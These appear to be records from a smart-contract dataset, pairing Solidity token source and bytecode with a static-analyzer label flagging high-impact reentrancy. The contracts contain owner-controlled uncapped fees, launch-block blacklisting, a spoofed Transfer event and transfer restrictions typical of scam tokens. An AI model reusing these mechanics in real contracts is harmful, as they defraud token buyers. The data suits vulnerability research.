if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610517578063dd62ed3e1461052d578063ea1644d514610573578063f2fde38b1461059357600080fd5b8063a9059cbb14610492578063bfd79284146104b2578063c3c8cd80146104e2578063c492f046146104f757600080fd5b80638f9a55c0116100d15780638f9a55c01461043c57806395d89b41146101fe57806398a5c31514610452578063a2a957bb1461047257600080fd5b80637d1db4a5146103e85780638da5cb5b146103fe5780638f70ccf71461041c57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037e57806370a0823114610393578063715018a6146103b357806374010ece146103c857600080fd5b8063313ce5671461030257806349bd5a5e1461031e5780636b9990531461033e5780636d8aa8f81461035e57600080fd5b80631694505e116101ab5780631694505e1461026e57806318160ddd146102a657806323b872dd146102cc5780632fd689e3146102ec57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023e57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611b33565b6105b3565b005b34801561020a57600080fd5b506040805180820182526008815267436f636b61746f6f60c01b602082015290516102359190611c65565b60405180910390f35b34801561024a57600080fd5b5061025e610259366004611a83565b610652565b6040519015158152602001610235565b34801561027a57600080fd5b5060155461028e906001600160a01b031681565b6040516001600160a01b039091168152602001610235565b3480156102b257600080fd5b50683635c9adc5dea000005b604051908152602001610235565b3480156102d857600080fd5b5061025e6102e7366004611a42565b610669565b3480156102f857600080fd5b506102be60195481565b34801561030e57600080fd5b5060405160098152602001610235565b34801561032a57600080fd5b5060165461028e906001600160a01b031681565b34801561034a57600080fd5b506101fc6103593660046119cf565b6106d2565b34801561036a57600080fd5b506101fc610379366004611bff565b61071d565b34801561038a57600080fd5b506101fc610765565b34801561039f57600080fd5b506102be6103ae3660046119cf565b6107b0565b3480156103bf57600080fd5b506101fc6107d2565b3480156103d457600080fd5b506101fc6103e3366004611c1a565b610846565b3480156103f457600080fd5b506102be60175481565b34801561040a57600080fd5b506000546001600160a01b031661028e565b34801561042857600080fd5b506101fc610437366004611bff565b610875565b34801561044857600080fd5b506102be60185481565b34801561045e57600080fd5b506101fc61046d366004611c1a565b6108c1565b34801561047e57600080fd5b506101fc61048d366004611c33565b6108f0565b34801561049e57600080fd5b5061025e6104ad366004611a83565b61092e565b3480156104be57600080fd5b5061025e6104cd3660046119cf565b60116020526000908152604090205460ff1681565b3480156104ee57600080fd5b506101fc61093b565b34801561050357600080fd5b506101fc610512366004611aaf565b61098f565b34801561052357600080fd5b506102be60085481565b34801561053957600080fd5b506102be610548366004611a09565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561057f57600080fd5b506101fc61058e366004611c1a565b610a30565b34801561059f57600080fd5b506101fc6105ae3660046119cf565b610a5f565b6000546001600160a01b031633146105e65760405162461bcd60e51b81526004016105dd90611cba565b60405180910390fd5b60005b815181101561064e5760016011600084848151811061060a5761060a611e01565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061064681611dd0565b9150506105e9565b5050565b600061065f338484610b49565b5060015b92915050565b6000610676848484610c6d565b6106c884336106c385604051806060016040528060288152602001611e43602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061122b565b610b49565b5060019392505050565b6000546001600160a01b031633146106fc5760405162461bcd60e51b81526004016105dd90611cba565b6001600160a01b03166000908152601160205260409020805460ff19169055565b6000546001600160a01b031633146107475760405162461bcd60e51b81526004016105dd90611cba565b60168054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b0316148061079a57506014546001600160a01b0316336001600160a01b0316145b6107a357600080fd5b476107ad81611265565b50565b6001600160a01b038116600090815260026020526040812054610663906112ea565b6000546001600160a01b031633146107fc5760405162461bcd60e51b81526004016105dd90611cba565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108705760405162461bcd60e51b81526004016105dd90611cba565b601755565b6000546001600160a01b0316331461089f5760405162461bcd60e51b81526004016105dd90611cba565b60168054911515600160a01b0260ff60a01b1990921691909117905543600855565b6000546001600160a01b031633146108eb5760405162461bcd60e51b81526004016105dd90611cba565b601955565b6000546001600160a01b0316331461091a5760405162461bcd60e51b81526004016105dd90611cba565b600993909355600b91909155600a55600c55565b600061065f338484610c6d565b6013546001600160a01b0316336001600160a01b0316148061097057506014546001600160a01b0316336001600160a01b0316145b61097957600080fd5b6000610984306107b0565b90506107ad8161136e565b6000546001600160a01b031633146109b95760405162461bcd60e51b81526004016105dd90611cba565b60005b82811015610a2a5781600560008686858181106109db576109db611e01565b90506020020160208101906109f091906119cf565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a2281611dd0565b9150506109bc565b50505050565b6000546001600160a01b03163314610a5a5760405162461bcd60e51b81526004016105dd90611cba565b601855565b6000546001600160a01b03163314610a895760405162461bcd60e51b81526004016105dd90611cba565b6001600160a01b038116610aee5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105dd565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bab5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105dd565b6001600160a01b038216610c0c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105dd565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cd15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105dd565b6001600160a01b038216610d335760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105dd565b60008111610d955760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105dd565b6000546001600160a01b03848116911614801590610dc157506000546001600160a01b03838116911614155b1561112457601654600160a01b900460ff16610e5a576000546001600160a01b03848116911614610e5a5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105dd565b601754811115610eac5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105dd565b6001600160a01b03831660009081526011602052604090205460ff16158015610eee57506001600160a01b03821660009081526011602052604090205460ff16155b610f465760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105dd565b600854610f54906000611d60565b4311158015610f7057506016546001600160a01b038481169116145b8015610f8a57506015546001600160a01b03838116911614155b8015610f9f57506001600160a01b0382163014155b15610fc8576001600160a01b0382166000908152601160205260409020805460ff191660011790555b6016546001600160a01b0383811691161461104d5760185481610fea846107b0565b610ff49190611d60565b1061104d5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105dd565b6000611058306107b0565b6019546017549192508210159082106110715760175491505b8080156110885750601654600160a81b900460ff16155b80156110a257506016546001600160a01b03868116911614155b80156110b75750601654600160b01b900460ff165b80156110dc57506001600160a01b03851660009081526005602052604090205460ff16155b801561110157506001600160a01b03841660009081526005602052604090205460ff16155b156111215761110f8261136e565b47801561111f5761111f47611265565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061116657506001600160a01b03831660009081526005602052604090205460ff165b8061119857506016546001600160a01b0385811691161480159061119857506016546001600160a01b03848116911614155b156111a55750600061121f565b6016546001600160a01b0385811691161480156111d057506015546001600160a01b03848116911614155b156111e257600954600d55600a54600e555b6016546001600160a01b03848116911614801561120d57506015546001600160a01b03858116911614155b1561121f57600b54600d55600c54600e555b610a2a848484846114f7565b6000818484111561124f5760405162461bcd60e51b81526004016105dd9190611c65565b50600061125c8486611db9565b95945050505050565b6013546001600160a01b03166108fc61127f836002611525565b6040518115909202916000818181858888f193505050501580156112a7573d6000803e3d6000fd5b506014546001600160a01b03166108fc6112c2836002611525565b6040518115909202916000818181858888f1935050505015801561064e573d6000803e3d6000fd5b60006006548211156113515760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105dd565b600061135b611567565b90506113678382611525565b9392505050565b6016805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113b6576113b6611e01565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561140a57600080fd5b505afa15801561141e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061144291906119ec565b8160018151811061145557611455611e01565b6001600160a01b03928316602091820292909201015260155461147b9130911684610b49565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac947906114b4908590600090869030904290600401611cef565b600060405180830381600087803b1580156114ce57600080fd5b505af11580156114e2573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b806115045761150461158a565b61150f8484846115b8565b80610a2a57610a2a600f54600d55601054600e55565b600061136783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116af565b60008060006115746116dd565b90925090506115838282611525565b9250505090565b600d5415801561159a5750600e54155b156115a157565b600d8054600f55600e805460105560009182905555565b6000806000806000806115ca8761171f565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115fc908761177c565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461162b90866117be565b6001600160a01b03891660009081526002602052604090205561164d8161181d565b6116578483611867565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161169c91815260200190565b60405180910390a3505050505050505050565b600081836116d05760405162461bcd60e51b81526004016105dd9190611c65565b50600061125c8486611d78565b6006546000908190683635c9adc5dea000006116f98282611525565b82101561171657505060065492683635c9adc5dea0000092509050565b90939092509050565b600080600080600080600080600061173c8a600d54600e5461188b565b925092509250600061174c611567565b9050600080600061175f8e8787876118e0565b919e509c509a509598509396509194505050505091939550919395565b600061136783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061122b565b6000806117cb8385611d60565b9050838110156113675760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105dd565b6000611827611567565b905060006118358383611930565b3060009081526002602052604090205490915061185290826117be565b30600090815260026020526040902055505050565b600654611874908361177c565b60065560075461188490826117be565b6007555050565b60008080806118a5606461189f8989611930565b90611525565b905060006118b8606461189f8a89611930565b905060006118d0826118ca8b8661177c565b9061177c565b9992985090965090945050505050565b60008080806118ef8886611930565b905060006118fd8887611930565b9050600061190b8888611930565b9050600061191d826118ca868661177c565b939b939a50919850919650505050505050565b60008261193f57506000610663565b600061194b8385611d9a565b9050826119588583611d78565b146113675760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105dd565b80356119ba81611e2d565b919050565b803580151581146119ba57600080fd5b6000602082840312156119e157600080fd5b813561136781611e2d565b6000602082840312156119fe57600080fd5b815161136781611e2d565b60008060408385031215611a1c57600080fd5b8235611a2781611e2d565b91506020830135611a3781611e2d565b809150509250929050565b600080600060608486031215611a5757600080fd5b8335611a6281611e2d565b92506020840135611a7281611e2d565b929592945050506040919091013590565b60008060408385031215611a9657600080fd5b8235611aa181611e2d565b946020939093013593505050565b600080600060408486031215611ac457600080fd5b833567ffffffffffffffff80821115611adc57600080fd5b818601915086601f830112611af057600080fd5b813581811115611aff57600080fd5b8760208260051b8501011115611b1457600080fd5b602092830195509350611b2a91860190506119bf565b90509250925092565b60006020808385031215611b4657600080fd5b823567ffffffffffffffff80821115611b5e57600080fd5b818501915085601f830112611b7257600080fd5b813581811115611b8457611b84611e17565b8060051b604051601f19603f83011681018181108582111715611ba957611ba9611e17565b604052828152858101935084860182860187018a1015611bc857600080fd5b600095505b83861015611bf257611bde816119af565b855260019590950194938601938601611bcd565b5098975050505050505050565b600060208284031215611c1157600080fd5b611367826119bf565b600060208284031215611c2c57600080fd5b5035919050565b60008060008060808587031215611c4957600080fd5b5050823594602084013594506040840135936060013592509050565b600060208083528351808285015260005b81811015611c9257858101830151858201604001528201611c76565b81811115611ca4576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d3f5784516001600160a01b031683529383019391830191600101611d1a565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611d7357611d73611deb565b500190565b600082611d9557634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611db457611db4611deb565b500290565b600082821015611dcb57611dcb611deb565b500390565b6000600019821415611de457611de4611deb565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107ad57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220fca8bab418d4b6824939d52b8f7009d7faa6340e1605161dfa87216ed57af46464736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 9,445 |
0x227BB4337c6526AF9f9035B7781cEac9b6fd2442
|
/**
*Submitted for verification at Etherscan.io on 2021-08-31
*/
/**
*Submitted for verification at Etherscan.io on 2021-08-27
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-30
*/
//SPDX-License-Identifier: Mines™®©
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ShibaGalaxy is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Shiba Galaxy";
string private constant _symbol = "SGX";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _sgxBal;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant _vTotal = 100000000000000 * 10**9;
uint256 private _devFee = 3;
uint256 private _burnFee = 7;
uint256 private _maxFeeSwap;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
address private _feeCollector;
bool private inSwap = false;
bool private swapEnabled = false;
bool private _initialized = false;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_feeCollector = owner();
_sgxBal[address(this)] = _vTotal;
emit Transfer(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, address(this), _vTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _vTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _sgxBal[account];
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function removeAllFee() private {
_burnFee = 0;
_devFee = 0;
}
function restoreAllFee() private {
_burnFee = 7;
_devFee = 3;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
uint256 contractTokenBalance = balanceOf(address(this));
_maxFeeSwap = balanceOf(uniswapV2Pair).div(100);
if (contractTokenBalance > _maxFeeSwap) contractTokenBalance = _maxFeeSwap;
if (!inSwap && from != uniswapV2Pair && swapEnabled && contractTokenBalance > 0) swapTokensForEth(contractTokenBalance);
}
bool takeFee;
if (from != uniswapV2Pair) takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) takeFee = false;
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee();
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function addLiquidity() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x03f7724180AA6b939894B5Ca4314783B0b36b329);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _vTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 sendAmount
) private {
uint256 totalFee = _devFee + _burnFee;
uint256 recAmount = sendAmount - sendAmount.div(100).mul(totalFee);
uint256 devFee = sendAmount.div(100).mul(_devFee);
uint256 burnFee = sendAmount.div(100).mul(_burnFee);
_sgxBal[sender] = _sgxBal[sender].sub(sendAmount);
_sgxBal[recipient] = _sgxBal[recipient].add(recAmount);
_sgxBal[address(this)] = _sgxBal[address(this)].add(devFee);
_sgxBal[address(0)] = _sgxBal[address(0)].add(burnFee);
emit Transfer(sender, recipient, recAmount);
}
receive() external payable {}
modifier feeCollector() {
require(_feeCollector == _msgSender(), "Caller is not the fee collector");
_;
}
function withdrawBalance() external feeCollector() {
payable(msg.sender).transfer(address(this).balance);
}
}
|
0x6080604052600436106100e15760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb146102a9578063c3c8cd80146102e6578063dd62ed3e146102fd578063e8078d941461033a576100e8565b8063715018a61461023c5780638da5cb5b1461025357806395d89b411461027e576100e8565b806323b872dd116100bb57806323b872dd14610180578063313ce567146101bd5780635fd8c710146101e857806370a08231146101ff576100e8565b806306fdde03146100ed578063095ea7b31461011857806318160ddd14610155576100e8565b366100e857005b600080fd5b3480156100f957600080fd5b50610102610351565b60405161010f9190612374565b60405180910390f35b34801561012457600080fd5b5061013f600480360381019061013a9190611f70565b61038e565b60405161014c9190612359565b60405180910390f35b34801561016157600080fd5b5061016a6103ac565b60405161017791906124d6565b60405180910390f35b34801561018c57600080fd5b506101a760048036038101906101a29190611f21565b6103be565b6040516101b49190612359565b60405180910390f35b3480156101c957600080fd5b506101d2610497565b6040516101df919061254b565b60405180910390f35b3480156101f457600080fd5b506101fd6104a0565b005b34801561020b57600080fd5b5061022660048036038101906102219190611e93565b610580565b60405161023391906124d6565b60405180910390f35b34801561024857600080fd5b506102516105c9565b005b34801561025f57600080fd5b5061026861071c565b604051610275919061228b565b60405180910390f35b34801561028a57600080fd5b50610293610745565b6040516102a09190612374565b60405180910390f35b3480156102b557600080fd5b506102d060048036038101906102cb9190611f70565b610782565b6040516102dd9190612359565b60405180910390f35b3480156102f257600080fd5b506102fb6107a0565b005b34801561030957600080fd5b50610324600480360381019061031f9190611ee5565b61084e565b60405161033191906124d6565b60405180910390f35b34801561034657600080fd5b5061034f6108d5565b005b60606040518060400160405280600c81526020017f53686962612047616c6178790000000000000000000000000000000000000000815250905090565b60006103a261039b610d9d565b8484610da5565b6001905092915050565b600069152d02c7e14af6800000905090565b60006103cb848484610f70565b61048c846103d7610d9d565b61048785604051806060016040528060288152602001612a9d60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061043d610d9d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115489092919063ffffffff16565b610da5565b600190509392505050565b60006009905090565b6104a8610d9d565b73ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610537576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161052e906123f6565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f1935050505015801561057d573d6000803e3d6000fd5b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6105d1610d9d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ff